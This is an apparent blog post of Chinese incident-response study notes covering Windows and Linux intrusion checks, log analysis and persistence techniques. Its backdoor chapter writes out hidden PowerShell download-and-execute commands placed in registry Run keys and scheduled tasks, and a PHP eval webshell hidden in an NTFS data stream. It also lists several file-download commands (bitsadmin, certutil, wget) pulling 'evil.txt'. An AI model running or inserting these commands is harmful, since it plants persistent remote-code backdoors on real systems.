DAY15 应急响应

应急响应实战

第一章 入侵排查
0x01 入侵排查思路
windows
1.检查服务器是否有弱口令,远程管理端口对公网开放情况
联系相关人员询问
2.查看服务器是否存在可疑,新增账号
打开 cmd 窗口,输入lusrmgr.msc 命令,查看是否有新增/可疑的账号,如有管理员群组的Administrators里的新增账户,如有,立即禁用或删除掉。
3.看服务器是否有隐藏,克隆账号
①打开注册表查看
在 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names 若文件夹为空则修改权限。

 

 

②使用D盾等工具查看

4、结合日志,查看管理员登录时间、用户名是否存在异常。
Win+R打开运行,输入“eventvwr.msc”,回车运行,打开“事件查看器
②导出Windows日志--安全,利用Log Parser进行分析。
 
1.2检查异常端口和进程
1.检查端口连接情况,是否有远程连接,可疑连接
①netstat -ano 查看目前网络连接,定位可疑的已建立连接(ESTABLISHED)
②根据netstat 定位出的pid,再通过命令定位进程 netstat -ano|findstr 'pid'
2.进程
①运行 msinfo32 依次点击“软件环境→正在运行任务”就可以查看到进程的详细信息,比如进程路径、进程ID、文件创建日期、启动时间
②D盾等工具,进程查看,关注没有签名的进程
③通过微软提供的Process Exploer等工具进行排查
④查看可疑的进程及子进程。有以下特征的:
a.没有签名验证信息的进程
b.没有描述信息的进程
c.进程的属主
d.进程的路径是否合法
e.CPU或内存资源占用长时间过高的进程
 
查看进程对应的程序位置:
wmic --> process
 
 
1.3 检查启动项,计划任务,服务
1.检查服务器是否有异常的启动项
①开始 --> 所有程序 --> 启动,默认情况下此目录是一个空目录,确认是否有非业务程序在该目录下
②运行 --> regedit --> 查看开机启动项是否正,特别注意如下三个注册表项:
a.HKEY_CURRENT_USER\software\micorsoft\windows\currentversion\run
b.HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
c.HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce
检查右侧是否有启动异常的项目,如有请删除,并建议安装杀毒软件进行病毒查杀,清除残留病毒木马
③利用安全软件查看启动项,开机时间管理等
④组策略 --> gpedit.msc
 

 

 

2.检查计划任务

①开始 --> 设置 --> 控制面板 --> 任务计划,查看计划任务属性,便可以发现木马文件路径

 

 

 

 

②cmd --> at,检查计算机与其他网络上的其他计算机之间的会话或计划任务,如有则确认是否为正常连接

 

3.服务自启动

 

①运行 --> services.msc,注意服务状态和启动类型,检查是否有异常服务 (有些后门是创建服务然后跟着服务一起运行的)

 

 

 

1.4 检查系统相关信息

 

1.查看系统补丁信息

 

systeminfo

 

 

2.查找可疑文件和目录

 

①新建账户会生成账户目录

Window 2003 C:\Documents and Settings

 

Window 2008R2 C:\Users\
 
②运行 --> %UserProfile%\Recent,分析最近打开的文件
③在服务器各个目录,可根据文件夹内以时间列表排序查找可疑文件
④回收站,浏览器下载
⑤系统内指定修改时间进行搜索
 
1.5自动化查杀
病毒查杀:下载安全软件
webshell:使用webshell查杀工具对web目录进行查杀,可相互补充,查杀完最好还是看一看,一句话木马有些查不出来的
 
1.6日志分析
①系统日志
a.前提:开启审核策略,可以查看系统日志文件
b.cmd --> eventvwr.msc 事件查看器
c.导出日志,用Log Parser进行分析
②Web访问日志
a.找到中间件的web日志,打包到本地方便进行分析
相关工具:
windows:EmEditor
Linux:使用shell命令查询分析
 
0x02 工具篇
2.1病毒分析
火绒剑:
https://www.huorong.cn
Process Explorer:https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer
processhacker:https://processhacker.sourceforge.io/downloads.php autoruns:
https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns OTL:
https://www.bleepingcomputer.com/download/otl/ SysInspector:
http://download.eset.com.cn/download/detail/?product=sysinspector
 
2.2 病毒查杀卡巴斯基:http://devbuilds.kaspersky-labs.com/devbuilds/KVRT/latest/full/KVRT.exe (推荐理由:绿色版、最新病
毒库)
大蜘蛛:http://free.drweb.ru/download+cureit+free(推荐理由:扫描快、一次下载只能用1周,更新病毒库)
火绒安全软件:https://www.huorong.cn
360杀毒:http://sd.360.cn/download_center.html
 
2.3 病毒动态
CVERC-国家计算机病毒应急处理中心:http://www.cverc.org.cn
微步在线威胁情报社区:https://x.threatbook.cn
火绒安全论坛:http://bbs.huorong.cn/forum-59-1.html
爱毒霸社区:http://bbs.duba.net
腾讯电脑管家:http://bbs.guanjia.qq.com/forum-2-1.html
 
2.4 在线病毒扫描网站
http://www.virscan.org //多引擎在线病毒扫描网 v1.02,当前支持 41 款杀毒引擎
https://habo.qq.com //腾讯哈勃分析系统
https://virusscan.jotti.org //Jotti恶意软件扫描系统
http://www.scanvir.com //针对计算机病毒、手机病毒、可疑文件等进行检测分析
 
2.5 webshell查杀
D盾_Web查杀:http://www.d99net.net/index.asp
河马webshell查杀:http://www.shellpub.com
深信服Webshell网站后门检测工具:http://edr.sangfor.com.cn/backdoor_detection.html Safe3:
http://www.uusec.com/webshell.zip
 
__________________________________________________________________________________________________________________
 

Linux入侵排查思路
1.1账号安全
1.用户信息文件 /etc/passwd
root:x:0:0:root:/root:/bin/bash
account:password:UID:GID:GECOS:directory:shell
用户名:密码:用户ID:组ID:用户说明:家目录:登陆之后shell
注意:无密码只允许本机登陆,远程不允许登陆
 
2.影子文件(密码) /etc/shadow
root:$6$oGs1PqhL2p3ZetrE$X7o7bzoouHQVSEmSgsYN5UD4.kMHx6qgbTqwNVC5oOAouXvcjQSt.Ft7ql1WpkopY0UV
9ajBwUt1DpYxTCVvI/:16809:0:99999:7:::
用户名:加密密码:密码最后一次修改日期:两次密码的修改时间间隔:密码有效期:密码修改到期到的警告天数:密码过期之后
的宽限天数:账号失效时间:保留
 
who 查看当前登陆用户
w 查看系统信息
uptime 查看登陆多久,多少用户,负载
 
入侵排查:
1、查询特权用户特权用户(uid为0)
[root@localhost ~]# awk -F: '$3==0{print$1}' /etc/passwd
2、查询可以远程登录的帐号信息
[root@localhost ~]# awk '/\$1|\$6/{print$1}' /etc/shadow
3、除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限
[root@localhost ~]# more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
4、禁用或删除多余及可疑的帐号
usermod -L user
禁用帐号,帐号无法登录,/etc/shadow第二栏为!开头
userdel user
删除user用户
userdel -r user
将删除user用户,并且将/home目录下的user目录一并删除
 
1.2历史命令
通过.bash_history查看帐号执行过的系统命令
1、root的历史命令
histroy
2、打开/home各帐号目录下的.bash_history,查看普通帐号的历史命令
为历史的命令增加登录的IP地址、执行命令时间等信息:
1)保存1万条命令
sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile
2)在/etc/profile的文件尾部添加如下行数配置信息:
######jiagu history xianshi#########
USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'`
if [ "$USER_IP" = ""]
then
USER_IP=`hostname`
fi
export HISTTIMEFORMAT="%F %T $USER_IP `whoami` “
shopt -s histappend
export PROMPT_COMMAND="history -a"
######### jiagu history xianshi ##########

3)source /etc/profile让配置生效
生成效果:1 2018-07-10 19:45:39 192.168.204.1 root source /etc/profile

3.历史操作命令的清除:history -c
但此命令并不会清除保存在文件中的记录,因此需要手动删除.bash_profile文件中的记录。

入侵排查:
进入用户目录下
cat .bash_history >> history.txt
 
1.3检查异常端口
使用netstat,分析可疑端口,IP,PID
netstat -antlp
查看pid下所对应的进程文件的路径
ls -l /proc/$PID/exe或file /proc/$PID/exe ($pid是pid号!)
 
1.4检查异常进程
使用ps命令,分析进程
ps aux | grep uid
 
1.5检查开机启动项

 

 

查看运行级别命令 runlevel
系统默认允许级别
vi /etc/inittab
id=3:initdefault
系统开机后直接进入哪个运行级别

开机启动配置文件
/etc/rc.local
/etc/rc.d/rc[0~6].d
例子:当我们需要开机启动自己的脚本时,只需要将可执行脚本丢在/etc/init.d目录下,然后在/etc/rc.d/rc*.d中建立软链接即可

root@localhost ~]# ln -s /etc/init.d/sshd /etc/rc.d/rc3.d/S100ssh
此处sshd是具体服务的脚本文件,S100ssh是其软链接,S开头代表加载时自启动;如果是K开头的脚本文件,代表运行级别加载时需要关闭的。

入侵排查:
启动项文件:more /etc/rc.local /etc/rc.d/rc[0~6].d ls -l /etc/rc.d/rc3.d/
 

1.6检查定时任务

1、利用crontab创建计划任务
基本命令
crontab -l 列出某个用户cron服务的详细内容  #默认编写的crontab文件会保存在/var/spool/cron/用户名 例如:var/spool/cron/root
crontab -r 删除每个用户cron任务(删除所有的计划任务,谨慎)
crontab -e 编辑当前的crontab文件
 
2.利用anacron实现异步定时任务调度
每天运行 /home/backup.sh脚本: vi /etc/anacrontab @daily 10 example.daily /bin/bash /home/backup.sh
当机器在 backup.sh 期望被运行时是关机的,anacron会在机器开机十分钟之后运行它,而不用再等待 7天。
 
入侵排查:
重点关注以下目录是否存在恶意脚本:
/var/spool/cron/*
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/*
/etc/cron.hourly/*
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/anacron/*
 
小技巧:
more /etc/cron.daily/*
查看目录下所有文件
 
1.7检查服务
服务自启动
第一种修改方法:
chkconfig [--level 运行级别] [独立服务名] [on|off]
chkconfig –level 2345 httpd on 开启自启动
chkconfig httpd on (默认level是2345)
 
第二种修改方法:
修改/etc/re.d/rc.local 文件加入 /etc/init.d/httpd start
 
第三种修改方法:
使用ntsysv命令管理自启动,可以管理独立服务和xinetd服务。
 
 
入侵排查:
1.查看已经安装的服务
RPM包安装的服务
chkconfig --list  #查看服务自启动状态,可以看到所有的RPM包安装的服务
ps aux | grep crond #查看当前的服务

源码包安装的服务:
查看服务安装位置 ,一般是在/user/local/service httpd start
搜索/etc/rc.d/init.d/查看是否存在

 

1.8检查异常文件

1、查看敏感目录,如/tmp目录下的文件,同时注意隐藏文件夹,以“..”为名的文件夹具有隐藏属性

 

2、得到发现WEBSHELL、远控木马的创建时间,如何找出同一时间范围内创建的文件?

 

可以使用find命令来查找,如 find /opt -iname "*" -atime 1 -type f 找出 /opt 下一天前访问过的文件

 

3、针对可疑文件可以使用stat进行创建修改时间
 
 
1.9检查系统日志

 

TIP:有些系统没有var/log/secure  而是  /var/log/auth.log

日志分析技巧:
1、定位有多少IP在爆破主机的root帐号:grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
定位有哪些IP在爆破:grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\. >(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c
 
爆破用户名字典是什么
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr
 
2.登陆成功的IP有哪些
grep "Accepted " /var/log/secure |awk '{print$11}' | sort | uniq -c | sort -nr | more

3、增加一个用户kali日志:
Jul 10 00:12:15 localhost useradd[2382]: new group: name=kali, GID=1001
Jul 10 00:12:15 localhost useradd[2382]: new user: name=kali, UID=1001, GID=1001,
home=/home/kali
, shell=/bin/bash
Jul 10 00:12:58 localhost passwd: pam_unix(passwd:chauthtok): password changed for kali
#grep "useradd" /var/log/secure
 
4、删除用户kali日志:
Jul 10 00:14:17 localhost userdel[2393]: delete user 'kali'
Jul 10 00:14:17 localhost userdel[2393]: removed group 'kali' owned by 'kali'
Jul 10 00:14:17 localhost userdel[2393]: removed shadow grou 'kali' owned by 'kali'
# grep "userdel" /var/log/secure
 
5、su切换用户:
Jul 10 00:38:13 localhost su: pam_unix(su-l:session): session opened for user good by root(uid=0)
sudo授权执行:
sudo -l
Jul 10 00:43:09 localhost sudo: good : TTY=pts/4 ; PWD=/home/good ; USER=root ;
COMMAND=/sbin/shutdown -r now
 
 
 
在百万行代码里发现隐藏的后门
前提:有源文件的备份
windows:下载文件对比工具,或者D盾对比MD5值
linux: diff命令,比较两个文件
 
 
 
第二章 日志分析
0x01windows事件日志简介
Windows系统日志是记录系统中硬件、软件和系统问题的信息,同时还可以监视系统中发生的事件。用户可以通过它来检查错误发生的原因,或者寻找受到攻击时攻击者留下的痕迹。
Windows主要有以下三类日志记录系统事件:应用程序日志、系统日志安全日志。

系统日志
记录操作系统组件产生的事件,主要包括驱动程序、系统组件和应用软件的崩溃以及数据丢失错误等。系统日志中记录的时间类型由Windows NT/2000操作系统预先定义。
默认位置: %SystemRoot%\System32\Winevt\Logs\System.evtx
 
应用程序日志
包含由应用程序或系统程序记录的事件,主要记录程序运行方面的事件,例如数据库程序可以在应用程序日志中记录文件错误,程序开发人员可以自行决定监视哪些事件。如果某个应用程序出现崩溃情况,那么我们可以从程序事件日志中找到相应的记录,也许会有
助于你解决问题。
默认位置:%SystemRoot%\System32\Winevt\Logs\Application.evtx

安全日志
记录系统的安全审计事件,包含各种类型的登录日志、对象访问日志、进程追踪日志、特权使用、帐号管理、策略变更、系统事
件。安全日志也是调查取证中最常用到的日志。默认设置下,安全性日志是关闭的,管理员可以使用组策略来启动安全性日志,或者
在注册表中设置审核策略,以便当安全性日志满后使系统停止响应。
默认位置:%SystemRoot%\System32\Winevt\Logs\Security.evtx
 
 
 
0x02 审核策略与事件查看器
Windows Server 2008 R2 系统的审核功能在默认状态下并没有启用 ,建议开启审核策略,若日后系统出现故障、安全事故则可以查看系统的日志文件,排除故障,追查入侵者的信息等。
PS:默认状态下,也会记录一些简单的日志,日志默认大小20M
设置1:开始 → 管理工具 → 本地安全策略 → 本地策略 → 审核策略,参考配置操作:

 

设置2:设置合理的日志属性,即日志最大大小、事件覆盖阀值等

 

查看系统日志方法:
1. 在“开始”菜单上,依次指向“所有程序”、“管理工具”,然后单击“事件查看器”
2. 按 "Window+R",输入 ”eventvwr.msc“ 也可以直接进入“事件查看器”
 
 
0x03 事件日志分析

 

每个成功登录的事件都会标记一个登录类型,不同登录类型代表不同的方式:

 

 

例如

 

可以从此日志的事件中可以看出,目标以远程登陆的方式登陆成功

 

还可以利用eventlog事件来查看计算机开关机的记录:

 

 

 

其中事件ID 6006 ID6005、 ID 6009就表示不同状态的机器的情况(开关机)。 6005 信息 EventLog 事件日志服务已启动。(开机) 6006 信息 EventLog 事件日志服务已停止。(关机) 6009 信息 EventLog 按ctrl、alt、delete键(非正常)关机

 

我们输入事件ID:6005-6006进行日志筛选,发现了两条在2018/7/6 17:53:51左右的记录,也就是我刚才对系统进行重启的时间。
 
 
 
LINUX日志分析
日志默认存放位置:/var/log/
查看日志配置情况:more /etc/rsyslog.conf

 

比较重要的几个日志: 登录失败记录:/var/log/btmp //lastb 最后一次登录:/var/log/lastlog //lastlog 登录成功记录:/var/log/wtmp //last 登录日志记录:/var/log/secure
目前登录用户信息:/var/run/utmp //w、who、users
历史命令记录:history 仅清理当前用户: history -c
 
具体操作及技巧在上文中有提到
 
 
WEB日志分析
0x01 Web日志
Web访问日志记录了Web服务器接收处理请求及运行时错误等各种原始信息。通过对WEB日志进行的安全分析,不仅可以帮助我们定位攻击者,还可以帮助我们还原攻击路径,找到网站存在的安全漏洞并进行修复。
我们来看一条Apache的访问日志:
127.0.0.1 - - [11/Jun/2018:12:47:22 +0800] "GET /login.html HTTP/1.1" 200 786 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
通过这条Web访问日志,我们可以清楚的得知用户在什么IP、什么时间、用什么操作系统、什么浏览器的情况下访问了你网站的哪个页面,是否访问成功。
 
 
0x02 Web日志分析技巧
Apache日志分析技巧:
1、列出当天访问次数最多的IP命令:
cut -d- -f 1 log_file|uniq -c | sort -rn | head -20
2、查看当天有多少个IP访问:
awk '{print $1}' log_file|sort|uniq|wc -l
3、查看某一个页面被访问的次数:
grep "/index.php" log_file | wc -l
4、查看每一个IP访问了多少个页面:
awk '{++S[$1]} END {for (a in S) print a,S[a]}' log_file
5、将每个IP访问的页面数进行从小到大排序:
awk '{++S[$1]} END {for (a in S) print S[a],a}' log_file | sort -n
6、查看某一个IP访问了哪些页面:
grep ^111.111.111.111 log_file| awk '{print $1,$7}'
7、去掉搜索引擎统计当天的页面:
awk '{print $12,$1}' log_file | grep ^\"Mozilla | awk '{print $2}' |sort | uniq | wc -l
8、查看2018年6月21日14时这一个小时内有多少IP访问:
awk '{print $4,$1}' log_file | grep 21/Jun/2018:14 | awk '{print $2}'| sort | uniq | wc -l
 
 

0x02 Web日志分析案例

Web日志分析实例:通过nginx代理转发到内网某服务器,内网服务器某站点目录下被上传了多个图片木马,虽然II7下不能解析,但还是想找出谁通过什么路径上传的。

 

在这里,我们遇到了一个问题:由于设置了代理转发,只记录了代理服务器的ip,并没有记录访问者IP?这时候,如何去识别不同的访问者和攻击源呢?这是管理员日志配置不当的问题,但好在我们可以通过浏览器指纹来定位不同的访问来源,还原攻击路径。

1、定位攻击源
首先访问图片木马的记录,只找到了一条,由于所有访问日志只记录了代理IP,并不能通过IP来还原攻击路径,这时候,可以利用浏览器指纹来定位。
浏览器指纹:
Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+6.1;+WOW64;+Trident/7.0;+SLCC2;+.NET+CLR+2.0.50727;+.NET+CLR+3.5.30729;+.NET+CLR+3.0.30729;+.NET4.0C;+.NET4.0E)

2、搜索相关日志记录通过筛选与该浏览器指纹有关的日志记录,可以清晰地看到攻击者的攻击路径。

 

 

3.对找到的访问日志进行解读,攻击者大致的访问路径如下:

A、攻击者访问首页和登录页
B、攻击者访问MsgSjlb.aspx和MsgSebd.aspx
C、攻击者访问Xzuser.aspx
D、攻击者多次POST(怀疑通过这个页面上传模块缺陷)
E、攻击者访问了图片木马

打开网站,访问Xzuser.aspx,确认攻击者通过该页面的进行文件上传了图片木马,同时,发现网站了存在越权访问漏洞,攻击者访问特定URL,无需登录即可进入后台界面。通过日志分析找到网站的漏洞位置并进行修复。
 
 

第三章:权限维持篇

第1篇:Windows权限维持--隐藏篇
0x00 前言
攻击者在获取服务器权限后,通常会用一些后门来维持权限,如果你想让你的后门保持的更久些,那么请隐藏好它,使之不易被管理员发现。
 
0x01 隐藏文件
最简单的一种隐藏文件的方式,文件右键属性,勾选隐藏,点击确定后,在这个文件里看不到刚刚的文件了

 

如果要让文件显示出来,就点击查看,勾选显示隐藏的文件,文件就显示出来
 
如何真正隐藏文件?
使用Attrib +s +a +h +r命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。
attrib +s +a +h +r D:\test\project\test .txt
这样就做到了真正的隐藏,不管你是否显示隐藏文件,此文件夹都看不见
打开电脑文件夹选项卡,取消”隐藏受保护的操作系统文件“勾选,把”隐藏文件和文件夹“下面的单选选择“显示隐藏的文件、文件夹和驱动器”。

 

 

2、利用ADS隐藏文件内容
在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这样子搞:
echo ^<?php @eval($_POST['chopper']);?^> > index.php:hidden.jpg
这样子就生成了一个不可见的shell hidden.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个hidden.jpg的。

 

 

 

3、驱动级文件隐藏

驱动隐藏我们可以用过一些软件来实现,软件名字叫:Easy File Locker

 

下载链接: http://www.xoslab.com/eflfl.html

 

如果你在网站目录未查找到相关文件,且系统目录存在存在以下文件:
c:\WINDOWS\xlkfs.dat
c:\WINDOWS\xlkfs.dll
c:\WINDOWS\xlkfs.ini
c:\WINDOWS\system32\drivers\xlkfs.sys

那么你,应该是遭遇了驱动级文件隐藏。
如何清除?
 
1、查询服务状态: sc qc xlkfs
2、停止服务: net stop xlkfs 服务停止以后,经驱动级隐藏的文件即可显现
3、删除服务: sc delete xlkfs
4、删除系统目录下面的文件,重启系统,确认服务已经被清理了。
 
隐藏文件的方式还有很多,比如伪装成一个系统文件夹图标,利用畸形文件名、保留文件名无法删除,甚至取一个与系统文件很像的文件名并放在正常目录里面,很难辨别出来。
这些隐藏文件的方式早已不再是秘密,而更多的恶意程序开始实现“无文件”(JAVA的Filter,powershell等)攻击,这种方式极难被发现
 
 
0x02 隐藏账号
window 隐藏系统用户操作,CMD命令行下,建立了一个用户名为“test$”,密码为“abc123!”的简单隐藏账户,并且把该隐藏账户提升为了管理员权限。

 

PS:CMD命令行使用"net user",看不到"test$"这个账号,但在控制面板和本地用户和组是可以显示此用户的。所以查账号的话直接查注册表吧
 
 

 

 0x03端口复用

通过端口复用来达到隐藏端口的目的,在Window下,如何实现端口复用呢?前阵子,@Twi1ight公布了一种基于内置系统服务的端口复用后门方法,利用WinRM服务,一条命令实现端口复用后门:
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
 
一般开启WinRM服务作为远程管理,但还是第一次听到可以作为端口复用,一种简单容易实现的端口复用方式。假设,攻击者已获取到administrator账号密码,连接远程WinRM服务执行命令

 

当执行这条命令的同时,将在安全日志中留下痕迹

 

 

 0x04 进程注入

进程注入,一直是病毒木马的惯用手段,同时,它也是一种隐藏技术。在常见的渗透测试框架中,进程注入是怎么做的以及我们如何通过工具排查出来?
1、meterpreter会话注入
当前权限无法获取hash值,查看目前系统进程

 

 

通过migrate进程迁移将进程注入到system进程后,成功获得hash值。

 

 

 

Window后门排查:

通过TCPview显示已建立的TCP连接,我们可以看到异常的连接,同时,恶意软件将以绿色显示不到一秒钟,然后变成红色消失,如此循环。

利用process monitor或者火绒剑监控进程都可以定位到注入进程。

 

 

 

 

2、Cobalt Strike进程注入
Window后门排查:利用process monitor捕捉通信过程,有规律的请求取决于sleep设置的间隔。
 
 

第2篇:Windows权限维持--后门篇
在获取服务器权限后,通常会用一些后门技术来维持服务器权限,服务器一旦被植入后门,攻击者便如入无人之境。本文将对常见的window服务端自启动后门技术进行解析,知己知彼方能杜绝后门。
 
0x01 注册表自启动
通过修改注册表自启动键值,添加一个木马程序路径,实现开机自启动。常用的注册表启动键:

 

使用以下命令可以一键实现无文件注册表后门:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))\"" /f
把powershell丢进注册表的自启动里面,哈哈

Logon Scripts 后门
注册表路径:HKEY_CURRENT_USER\Environment\
创建字符串键值: UserInitMprLogonScript,键值设置为bat的绝对路径: c:\test.bat
 
userinit后门
在用户进行登陆时,winlogon运行指定的程序。根据官方文档,可以更改它的值来添加与删除程序。利用USERINIT注册表键实现无文件后门:

 

 

 
0x02 组策略设置脚本启动

 

 

 

 

 

0x03 计划任务
schtasks /create /sc minute /mo 1 /tn "Security Script" /tr "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring(\"\"\"http://192.168.28.142:8888/logo.gif\"\"\"))\""
容易遇到的问题:cmd命令行执行单引号会被替换成双引号,故这里使用三个双引号替代。计划脚本每 1 分钟运行一次。
 
 

0x04 服务自启动

通过服务设置自启动,结合powershell实现无文件后门。

 

使用以下命令可实现:

 

 

0x05 WMI后门

在2015年的blackhat大会上Matt Graeber介绍了一种无文件后门就是用的WMI。这里可以利用一个工具powersploit,下面用它的Persistence模块来示范一个简单的例子。

 

 

0x06 dll劫持

如果在进程尝试加载一个DLL时没有指定DLL的绝对路径,那么Windows会尝试去指定的目录下查找这个DLL;如果攻击者能够控制其中的某一 个目录,并且放一个恶意的DLL文件到这个目录下,这个恶意的DLL便会被进程所加载,从而造成代码执行。

 

比较常用的如LPK.dll的劫持:

 

win7及win7以上系统增加了KnownDLLs保护,需要在注册表  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\ExcludeFromKnownDlls 下添加 “lpk.dll” 才能顺利劫持:

 

 

Linux后门维持先跳过了,LINUX的环境比较少

 

 

第5篇:Windows命令行文件下载总结

1、PowerShell
PowerShell是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用。
远程执行命令:
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.28.128/imag/evil.txt'))"
 
2、Bitsadmin
bitsadmin是一个命令行工具,可用于创建下载或上传工作和监测其进展情况。
bitsadmin /transfer n http://192.168.28.128/imag/evil.txt d:\test\1.txt
 
3、certutil
用于备份证书服务,支持xp-win10都支持。由于certutil下载文件都会留下缓存,所以一般都建议下载完文件后对缓存进行删除。
注:缓存目录为:"%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content"
#下载文件
certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt test.php
#删除缓存
certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt delete
 
4、wget
Windows环境下,可上传免安装的可执行程序wget.exe到目标机器,使用wget下载文件。
wget.exe下载:https://eternallybored.org/misc/wget/
wget -O "evil.txt" http://192.168.28.128/imag/evil.txt
 
5、ipc$文件共享
IPC$(Internet Process Connection)是共享"命名管道"的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。
#建立远程IPC连接
net use \\192.168.28.128\ipc$ /user:administrator "abc123!"
#复制远程文件到本地主机
copy \\192.168.28.128\c$\ 2.txt D:\test
 
 
 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 
 
 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 
 
 
 

 

 

 

 
 
 
 
 
 

 

 

 

 

 

 

 
 
 
 
posted @ 2021-04-30 14:57  paku  阅读(334)  评论(0)    收藏  举报